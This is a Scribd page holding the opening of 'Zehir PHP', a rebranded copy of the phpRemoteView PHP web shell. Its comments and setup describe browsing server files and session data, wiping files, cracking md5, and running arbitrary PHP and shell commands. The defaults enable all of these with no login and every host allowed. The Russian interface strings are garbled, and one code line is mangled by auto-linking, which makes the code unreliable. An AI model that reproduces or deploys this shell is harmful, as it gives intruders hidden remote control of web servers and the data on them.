0% found this document useful (0 votes)
545 views

Zehir PHP

This document is a PHP script that provides a remote file viewing and editing tool called phpRemoteView. It allows users to view the directory structure and files on a remote server, as well as view file contents, download files, create/edit/delete files and directories, and execute PHP code and shell commands. The script provides instructions for setting up access controls and customizing features like which file operations are allowed. It also documents the various versions and changes that have been made to phpRemoteView over time.

Uploaded by

anon-902445
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, TXT or read online on Scribd
0% found this document useful (0 votes)
545 views

Zehir PHP

This document is a PHP script that provides a remote file viewing and editing tool called phpRemoteView. It allows users to view the directory structure and files on a remote server, as well as view file contents, download files, create/edit/delete files and directories, and execute PHP code and shell commands. The script provides instructions for setting up access controls and customizing features like which file operations are allowed. It also documents the various versions and changes that have been made to phpRemoteView over time.

Uploaded by

anon-902445
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, TXT or read online on Scribd
You are on page 1/ 7

********************** * _____ *

* * WWW.Woltaj.Org * * PHP*�*Zehir SeLiM - Woltaj.org @2008


********************** * _____ *

<?
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*
* Welcome to phpRemoteView (RemView)
*
* View/Edit remove file system:
* - view index of directory (/var/log - view logs, /tmp - view PHP sessions)
* - view ***** size, owner:group, perms, modify time of files
* - view html/txt/image/session files
* - download any file and open on Notepad
* - create/edit/delete file/dirs
* - executing any shell commands and any PHP-code
*
* Free download from http://php.spb.ru/remview/
* Version 04a, 2003-04-22.
* Please, report bugs...
*
* This programm for Unix/Windows system and PHP4 (or higest).
*
* (c) Dmitry Borodin, [email protected], http://php.spb.ru
*
* * * * * * * * * * * * * * * * * WHATS NEW * * * * * * * * * * * * * * * *
*
* --version4--
* 2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
* thanks Anight
* add many functions/converts: md5, decode md5 (pass crack),
* date/time, base64, translit, russian charsets
* fix bug: read session files
*
* 2002.08.24 new design and images
* many colums in panel
* sort & setup panel
* dir tree
* base64 encoding
* character map
* HTTP authentication with login/pass
* IP-address authentication with allow hosts
*
* --version3--
* 2002.08.10 add multi language support (english and russian)
* some update
*
* 2002.08.05 new: full windows support
* fix some bugs, thanks Jeremy Flinston
*
* 2002.07.31 add file upload for create files
* add 'direcrory commands'
* view full info after safe_mode errors
* fixed problem with register_glogals=off in php.ini
* fixed problem with magic quotes in php.ini (auto strip slashes)
*
* --version2--
* 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
* add panel 'TOOLS': eval php-code and run shell commands
* add copy/edit/create file (+panel 'EDIT')
* add only-read mode (disable write/delete and PHP/Shell)
*
* 2002.01.19 add delete/touch/clean/wipe file
* add panel 'INFO', view a/c/m-time, hexdump view
* add session file view mode (link 'SESSION').
*
* 2002.01.12 first version!
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
///////////////////////////////// S E T U P ///////////////////////////////////
$version="2003-04-22";
$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line
$mkdir_mode=0755; // chmode for new dir ('MkDir' button)
$maxsize_fread=65536; // read first 64Kb from any null-size file
// USER ACCESS //
$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access
$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable
$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable
// AUTHORIZATION //
$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.
$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")
///////////////////////////////////////////////////////////////////////////////
$tmp=array();
foreach ($host_allow as $k=>$v)
$tmp[]=str_replace("<A href="<A
href="file://\\*",".*",preg_quote($v">\\*",".*",preg_quote($v">file://\\*",".*",pr
eg_quote($v">\\*",".*",preg_quote($v)) ;
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !
preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR") )))
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied -
your host not allow</h1>\n");
if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login ||
$HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
header("HTTP/1.0 401 Unauthorized");
exit("<h1><a href=http://php.spb.ru/remview/>phpRemoteView</a>: Access Denied -
password erroneous</h1>\n");
}
error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
if (function_exists("ob_start") && (!isset($c) || $c!="md5crack"))
ob_start("ob_gzhandler");
$self=basename($HTTP_SERVER_VARS['PHP_SELF']);
$url="http://".getenv('HTTP_HOST').
(getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
$HTTP_SERVER_VARS['PHP_SELF'].
(getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
$uurl=urlencode($url);
//
// antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
//
$autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
"ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
"fatt showfile showsize root name ref names sort sortby ".
"datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
foreach (explode(" ",$autovars1) as $k=>$v) {
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
//elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
}
//
// autofix 'magic quotes':
//
$autovars2="php shell text d root convert";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
foreach (explode(" ",$autovars2) as $k=>$v) {
if (isset($$v)) $$v=stripslashes($$v);
}
}
$cp_def=array(
"001001",
"nst2ac",
"d/m/y H:i",
"Tahoma",
"9"
);
$panel=0;
if (isset($HTTP_COOKIE_VARS["cp$panel"]))
$cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
else
$cp=$cp_def;
$cc=$cp[0];
$cn=$cp[1];
/*
$cc / $cp[0]- ������ ������������� ��g����g��, �����g����� � $cs:
$cc[0] - �� ����� ������� ��g��g�����, � ���� i�� �� ���g�:
n - �� �����
e - g����g����
$cc[1] - ��g���� (0 - ���g���. 1 - �����s���)
$cc[2] - ���������� �� ������
$cc[3] - ��� ������ �g� ����� �� ������ �����:
0 - �g�����g � text/plain
1 - �g�����g � html
2 - download
3 - ��g����g� ����� (info)
$cc[4] - ��g����� g����g ������ �� ��/��/��
$cc[5] - ����:
1 - ����������
2 - g�����
$cn / $cp[1] - ������ ������� � �� ��g����, ����g�� ����������, ��g��� ����/���g:
t - type
n - name
s - size
a - owner+group
o - owner
g - group
c - chmod
1 - create time
2 - modify time
3 - access time
$cp[2]: ��g��� �g�����
$cp[3]: �� �g����
$cp[4]: g����g �g����
*/
// ��� ��g�������� �������
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';
///////////////////////////////////////////////////////////////////////////////
/*--mmstart--*/
$mm=array(
"Index of"=>"������",
"View file"=>"����� �����",
"DISK"=>"����",
"Info"=>"����",
"Plain"=>"�g����",
"HTML"=>"HTML",
"Session"=>"�����",
"Image"=>"��g�����",
"Notepad"=>"�������",
"DOWNLOAD"=>"���G�����",
"Edit"=>"�g����",
"Sorry, this programm run in read-only mode."=>"��������, i�� �g��g���� g������� �
g����� '������ ������'.",
"For full access: write"=>"�� ������� �������: ��������",
"in this php-file"=>"� i��� php-�����",
"Reason"=>"�g�����",
"Error path"=>"��������� ����",
"Click here for start"=>"������� �� ���g��",
"up directory"=>"������� ����",
"access denied"=>"������ ���g����",
"REMVIEW TOOLS"=>"������� REMVIEW",
"version"=>"��g��",
"Free download"=>"��������� ���g����",
"back to directory"=>"��g����� � �������",
"Size"=>"G����g",
"Owner"=>"����g",
"Group"=>"�g����",
"FileType"=>"��� �����",
"Perms"=>"�g���",
"Create time"=>"�g�� �������",
"Access time"=>"�g�� �������",
"MODIFY time"=>"�g�� ���������",
"HEXDUMP PREVIEW"=>"��G��G�����G � 16-G����� ����",
"ONLY READ ACCESS"=>"������ ������ �� ������",
"Can't READ file - access denied"=>"�� ���� �g������� - ������ ���g����",
"full read/write access"=>"������ ������ �� ������/������",
"FILE SYSTEM COMMANDS"=>"������� �������� �������",
"EDIT"=>"G�����.",
"FILE"=>"����",
"DELETE"=>"���G���",
"Delete this file"=>"���g��� ����",
"CLEAN"=>"��������",
"TOUCH"=>"��������",
"Set current 'mtime'"=>"�����.�����.�g��",
"WIPE(delete)"=>"����������",
"Write '0000..' and delete"=>"������ �����, ���g���",
"COPY FILE"=>"����G����� ����",
"COPY"=>"����G�����",
"MAKE DIR"=>"������� �������",
"type full path"=>"������� ������ ����",
"MkDir"=>"����.���.",
"CREATE NEW FILE or override old file"=>"������� ����� ���� ��� ��g���������
���g��",
"CREATE/OVERRIDE"=>"�������/��G���������",
"select file on your local computer"=>"���g��� ���� �� ����� ���������
�����s��g�",
"save this file on path"=>"���g����� i��� ���� � �������",
"create file name automatic"=>"�g������� �� ����� �������������",
"OR"=>"���",
"type any file name"=>"������ �� ����� �g����s",
"convert file name to lovercase"=>"�����g��g����� �� � ������ g�����g",
"Send File"=>"������� ����",
"Delete all files in dir"=>"������� ��� �����",
"Delete all dir/files recursive"=>"������� ��� +����������� g���g�����",
"Confirm not found (go back and set checkbox)"=>"������g������ �� ����������
(��g������ ����� � ��������� �������)",
"Delete cancel - File not found"=>"�������� �������� - ���� �� ������",
"YES"=>"��",
"ME"=>"����",
"NO (back)"=>"��� (�����)",
"Delete cancel"=>"�������� ��������",
"ACCESS DENIED"=>"������ ���G����",
"done (go back)"=>"������ (�����)",
"Delete ok"=>"��, ��������",
"Touch cancel"=>"���������� ��������",
"Touch ok (set current time to 'modify time')"=>"���������� ����g���� (�����
�g������� ������� �g�� �����������)",
"Clean (empty file) cancel"=>"�������� (��������� �����) ��������",
"Clean ok (file now empty)"=>"��, ������� (���� �������)",
"Wipe cancel - access denied"=>"����������� �������� - ������ ���g����",
"Wipe ok (file deleted)"=>"��, ���������� (� ���� ���g�)",
"DIR"=>"DIR",
"Deleting all files in"=>"�������� ���� ������ �",
"skip"=>"�g�����",
"deleting"=>"��������",
"Deleting all dir/files (recursive) in"=>"�������� ���� ������/������������
(g���g�����)",
"DONE, go back"=>"������, �����",
"DONE"=>"������",
"file not found"=>"���� �� ������",
"ONLY READ ACCESS (don't edit!)"=>"������ ������ �� ������ (�� g������g�����)",
"Can't READ file - access denied (don't edit!)"=>"�� ���� ������ ���� - ������
���g����",
"EDIT FILE"=>"�G����� ����",
"can't open, access denied"=>"�� ���� ���g���, ������ ���g����",
"SAVE FILE (write to disk)"=>"���G����� ���� (������ �� ����)",
"You mast checked 'create file name automatic' OR typed file name!"=>"�� ������
�������� ������� [������� ���� �������������] ��� ������ � ���� �� �����!'",
"SAVING TO"=>"���G����� �",
"Sorry, access denied"=>"��������, ������ ���g����",
"for example, uncomment next line"=>"�� �g���g�, g����������g���� �����s��s
��g���",
"Eval PHP code"=>"��������� PHP ���",
"don't type"=>"�� ������",
"and"=>"�",
"example (remove comments '#')"=>"�g���g (������� ��������g�� '#')",
"Shell commands"=>"������� Shell'a",
"filesize to 0byte"=>"g����g � 0 ����",
"from"=>"��",
"to"=>"�",
"Full file name"=>"������ �� �����",
"Can't open directory"=>"�� ���� ���g��� �������",
"setup"=>"����g����",
"back"=>"�����",
"Reset all settings"=>"��g����� ��� ����g����",
"clear"=>"��������",
"Current"=>"�������",
"Colums and sort"=>"������� � ��g��g����",
"Sort order"=>"��g���� ��g��g����",
"Ascending sort"=>"�� ���g������s",
"Descending sort"=>"�� �������s",
"Sort by filename"=>"��g��g����� �� ����� �����",
"Sort by filename extension"=>"��g��g����� �� g����g���s �����",
"Date/time format"=>"��g��� ����/�g�����",
"Panel font & size"=>"�g���/g����g ������",
"Setup"=>"�����",
"Char map"=>"�������",
"Language"=>"����",
"English"=>"����������",
"Russian"=>"G������",
"Character map (symbol codes table)"=>"������� ��������",
"Select font"=>"����g��� �g���",
"or type other"=>"��� ������� �g����",
"Font size"=>"G����g �g����",
"Code limit"=>"������� �����",
"Generate table"=>"�����g�g����� �������",
"Universal convert"=>"�����g������� �����g�����"
);/*--mmstop--*/

$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;
function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "<script>alert('(mm) msg not found: $m');</script>";
}
switch ($language) {
case 1:
$cn_name=array(
't'=>"Type",
'n'=>"Name",
's'=>"Size",
'o'=>"Owner",
'g'=>"Group",
'a'=>"Owner/Group",
'c'=>"Perms",
'1'=>"Create",
'2'=>"Modify",
'3'=>"Access"
);
break;
case 2:
$cn_name=array(
't'=>"���",
'n'=>"��",
's'=>"G����g",
'o'=>"��������",
'g'=>"�g����",
'a'=>"��������/�g����",
'c'=>"�g���",
'1'=>"������",
'2'=>"�������",
'3'=>"������"
);
break;
}

You might also like